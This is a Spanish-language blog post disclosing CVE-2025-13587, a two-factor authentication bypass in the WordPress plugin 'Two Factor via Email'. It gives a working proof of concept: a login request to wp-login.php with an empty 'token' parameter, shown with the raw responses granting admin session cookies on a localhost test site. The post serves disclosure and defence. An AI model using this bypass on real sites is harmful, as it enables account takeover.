U. Saicha
Publicaciones

★CVE-2025-13587: Bypass de autenticación de dos factores en Two Factor via Email

Bypass de autenticación de dos factores por validación incorrecta de entrada en Two Factor via Email.

cve wordpress 2fa authentication case study

Descripción

Bypass de 2FA por validación incorrecta de entrada.

Prueba de concepto

Agregar un parámetro GET vacío llamado token a la solicitud de inicio de sesión a wp-login.php permite saltarse la 2FA.

Requisitos previos: Se necesitan un nombre de usuario y una contraseña válidos. Asegurate de que la 2FA esté habilitada en la configuración del usuario.

Solicitud

POST /wp-login.php?token= HTTP/1.1
Host: localhost:10209
Content-Length: 106
Origin: http://localhost:10209
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://localhost:10209/wp-login.php
Cookie: wordpress_test_cookie=WP%20Cookie%20check
Connection: keep-alive

log=admin&pwd=admin&wp-submit=Log+In&redirect_to=http%3A%2F%2Flocalhost%3A10209%2Fwp-admin%2F&testcookie=1

Respuesta

HTTP/1.1 302 Found
Server: nginx/1.26.1
Date: Wed, 12 Nov 2025 07:39:37 GMT
Content-Type: text/html; charset=UTF-8
Connection: keep-alive
X-Powered-By: PHP/8.2.27
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0, no-store, private
Set-Cookie: wordpress_test_cookie=WP%20Cookie%20check; path=/; HttpOnly
X-Frame-Options: SAMEORIGIN
Referrer-Policy: strict-origin-when-cross-origin
Set-Cookie: wordpress_2399771db6dd3b27ed3107d0a3bf6dda=admin%7C1763105977%7CLEarvMCpC5rppO1ntPzgIa7HuDDNMUNgPazhhvRpTb0%7C9c23124807d1396865365a575583c6f681a79705e2ed09ae94c6861e7f2edb91; path=/wp-content/plugins; HttpOnly
Set-Cookie: wordpress_2399771db6dd3b27ed3107d0a3bf6dda=admin%7C1763105977%7CLEarvMCpC5rppO1ntPzgIa7HuDDNMUNgPazhhvRpTb0%7C9c23124807d1396865365a575583c6f681a79705e2ed09ae94c6861e7f2edb91; path=/wp-admin; HttpOnly
Set-Cookie: wordpress_logged_in_2399771db6dd3b27ed3107d0a3bf6dda=admin%7C1763105977%7CLEarvMCpC5rppO1ntPzgIa7HuDDNMUNgPazhhvRpTb0%7C305e116df04cd679f2b6bac6cfc120e8defc0abb3d50f1d07482b5304574cfb8; path=/; HttpOnly
X-Redirect-By: WordPress
Location: http://localhost:10209/wp-admin/
Content-Length: 0

Respuesta sin el parámetro token vacío

HTTP/1.1 200 OK
Server: nginx/1.26.1
Date: Wed, 12 Nov 2025 07:40:03 GMT
Content-Type: text/html; charset=UTF-8
Connection: keep-alive
Vary: Accept-Encoding
X-Powered-By: PHP/8.2.27
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0, no-store, private
X-Frame-Options: SAMEORIGIN
Referrer-Policy: strict-origin-when-cross-origin
Content-Length: 9613

<!DOCTYPE html>
<html>
<head>
	<meta http-equiv="X-UA-Compatible" content="IE=edge">
	<meta charset="utf-8">
	<title>Account Protected by 2FA via Email</title>